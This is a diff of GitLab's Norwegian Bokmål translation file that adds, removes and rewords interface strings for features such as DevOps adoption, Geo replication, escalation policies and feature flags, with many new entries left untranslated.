@@ -7625,9 +7690,6 @@ msgstr "Tjenestesjetongen er påkrevd."
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr "Velg et prefiks for navneområdene dine. Hvis det ikke er angitt, brukes prosjektbanen din. Hvis det er endret, vil eksisterende miljøer bruke sine gjeldende navneområder frem til hurtigbufferen til klyngen er tømt."
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr "Noe gikk galt på vår side av linja."
@@ -7901,6 +7963,15 @@ msgstr "Ingen referanser ble funnet"
msgid "CodeOwner|Pattern"
msgstr "Mønster"
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr "Inaktive brukere"
@@ -8044,6 +8115,9 @@ msgstr "Commit"
msgid "CommitMessage|Add %{file_name}"
msgstr "Legg til %{file_name}"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr "skapt"
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr "Konfidensialitet"
msgid "Configuration"
msgstr "Konfigurasjon"
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr "Sett opp kodelagerspeiling."
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr "Opprett nytt domene"
msgid "Create Project"
msgstr "Opprett prosjekt"
-msgid "Create Value Stream"
-msgstr "Opprett verdistørm"
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr "Opprett et nytt kodelager"
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr "Lag en konto med:"
@@ -9292,6 +9366,9 @@ msgstr "Opprett gruppe"
msgid "Create group label"
msgstr "Opprett gruppe-stempel"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr "Lag en rapport"
@@ -9343,6 +9420,9 @@ msgstr "Opprett ny fil eller katalog"
msgid "Create new label"
msgstr "Opprett ny stempel"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Opprett ny..."
@@ -9376,6 +9456,9 @@ msgstr "Opprett din første side"
msgid "Create your group"
msgstr "Opprett gruppen din"
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr "Opprett/importer ditt første prosjekt"
@@ -9703,27 +9786,6 @@ msgstr "Egendefinert tidsrom"
msgid "Custom range (UTC)"
msgstr "Tilpasset område (UTC)"
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr "Legg til et trinn"
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr "Legg til trinn"
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr "Nytt trinn"
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr "Trinnavnet finnes allerede"
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr "Kundeportal"
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr "Profilnavn"
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr "Slett kommentar"
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|Code owners"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr "Skru av 2-trinnsautentisering"
msgid "Disabled"
msgstr "Deaktivert"
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr "Discord-varsler"
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr "Oppdag GitLab Geo"
@@ -11678,7 +11776,7 @@ msgstr "Utkast"
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr "MÃ¥ldato"
@@ -11702,9 +11818,6 @@ msgstr "Forfallsdato"
msgid "Duration"
msgstr "Varighet"
-msgid "Duration for the last 30 commits"
-msgstr "Varigheten til de seneste 30 commitene"
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr "Rediger trinn"
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,15 +12118,15 @@ msgstr ""
msgid "Embed"
msgstr "Innbygging"
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr "Tom fil"
msgid "Enable"
msgstr "Slå på"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr ""
-
msgid "Enable Auto DevOps"
msgstr "Aktiver Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr "Skru på speiloppsett"
msgid "Enable or disable Seat Link."
msgstr "Skru på eller skru av Seat Link."
-msgid "Enable or disable keyboard shortcuts"
-msgstr "Skru av eller på tastatursnarveier"
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr "En feil oppstod under oppdatering av sakens status"
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr "En feil oppstod. Brukeren ble ikke blokkert"
msgid "Error occurred. User was not confirmed"
msgstr "En feil oppstod. Brukeren ble ikke bekreftet"
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr "En feil oppstod. Brukeren ble ikke ublokkert"
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr "Feil:"
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr "Estimat"
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr "Annenhver uke"
msgid "Every week"
-msgstr "Hver uke"
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr "Hver uke (%{weekday} kl. %{time})"
@@ -13663,6 +13826,9 @@ msgstr "Funksjonsflagg"
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr "Funksjonsflagg-oppførsel bygges opp ved å lage et sett med regler for å definere status for målmiljøer. En standard jokertegnregel %{codeStart}*%{codeEnd} for %{boldStart}Alle miljøer%{boldEnd} er angitt, og du kan legge til så mange regler du trenger ved å velge miljøspesifikasjoner nedenfor. Du kan veksle oppførselen for hver av reglene dine for å sette dem til %{boldStart}Aktiv%{boldEnd} eller %{boldStart}Inaktiv%{boldEnd}."
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr "Mere informasjon"
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr "Nytt funksjonsflagg"
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr "Brukerliste"
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr "Rettet opp i:"
msgid "Flags"
msgstr "Flagg"
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr "Vil du utgreine prosjektet?"
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "Utgreinet fra"
@@ -14469,6 +14647,9 @@ msgstr "sekundærnoder"
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr "GÃ¥ til hovednettstedet"
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr "Aldri"
msgid "Geo|Next sync scheduled at"
msgstr "Neste synkronisering er planlagt kl."
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr "Nodenavnet kan ikke være tomt"
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Ikke synkronisert enda"
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr "URL-en må være en gyldig URL (f.eks. https://gitlab.com)"
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "Ukjent tilstand"
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr "Verifisering mislyktes - %{error}"
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr "Tving HTTPS (krever gyldige sertifikater)"
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr "Det kan ta opptil 30 minutter før nettstedet er tilgjengelig etter den første distribusjonen."
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr "GÃ¥ til fullskjerm"
-msgid "Go to Webhooks"
-msgstr "GÃ¥ til Webhooks"
-
msgid "Go to commits"
msgstr "GÃ¥ til commitene"
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr "GÃ¥ til prosjekt"
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr "Aktiv"
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr "Gruppeimport kunne ikke bli planlagt"
msgid "Group info:"
msgstr "Gruppeinfo:"
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr "Gruppevariabler (arvet)"
@@ -15531,14 +15748,17 @@ msgstr "Gruppe: %{name}"
msgid "GroupActivityMetrics|Issues opened"
msgstr "Saker åpnet"
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr "Medlemmer lagt til"
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
-msgstr "Nylig aktivitet (seneste 90 dager)"
+msgid "GroupActivityMetrics|Recent activity"
+msgstr ""
msgid "GroupImport|Failed to import group."
msgstr "Mislyktes i å importere gruppe."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr "Grupper og prosjekter"
msgid "Groups and subgroups"
msgstr "Grupper og undergrupper"
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr "Grupper å synkronise"
@@ -15957,23 +16177,32 @@ msgstr "Ingen grupper ble funnet"
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr "Kontakt en administrator for å aktivere alternativer for å importere gruppen din."
-msgid "GroupsNew|Create"
-msgstr "Opprett"
-
msgid "GroupsNew|Create group"
msgstr "Opprett gruppe"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
+msgstr ""
+
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
-msgstr "Importer"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
+msgstr ""
msgid "GroupsNew|Import group"
msgstr "Importer gruppe"
@@ -16044,7 +16273,7 @@ msgstr "Retningslinje"
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr "Overskrifter"
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr "Skjul delte prosjekter"
-msgid "Hide stage"
-msgstr "Skjul trinn"
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Skjul verdien"
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "Historie"
@@ -16306,9 +16544,24 @@ msgstr "Jeg glemte passordet mitt"
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "ID"
@@ -16318,9 +16571,6 @@ msgstr "ID:"
msgid "IDE"
msgstr "IDE"
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr "Tilbake"
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
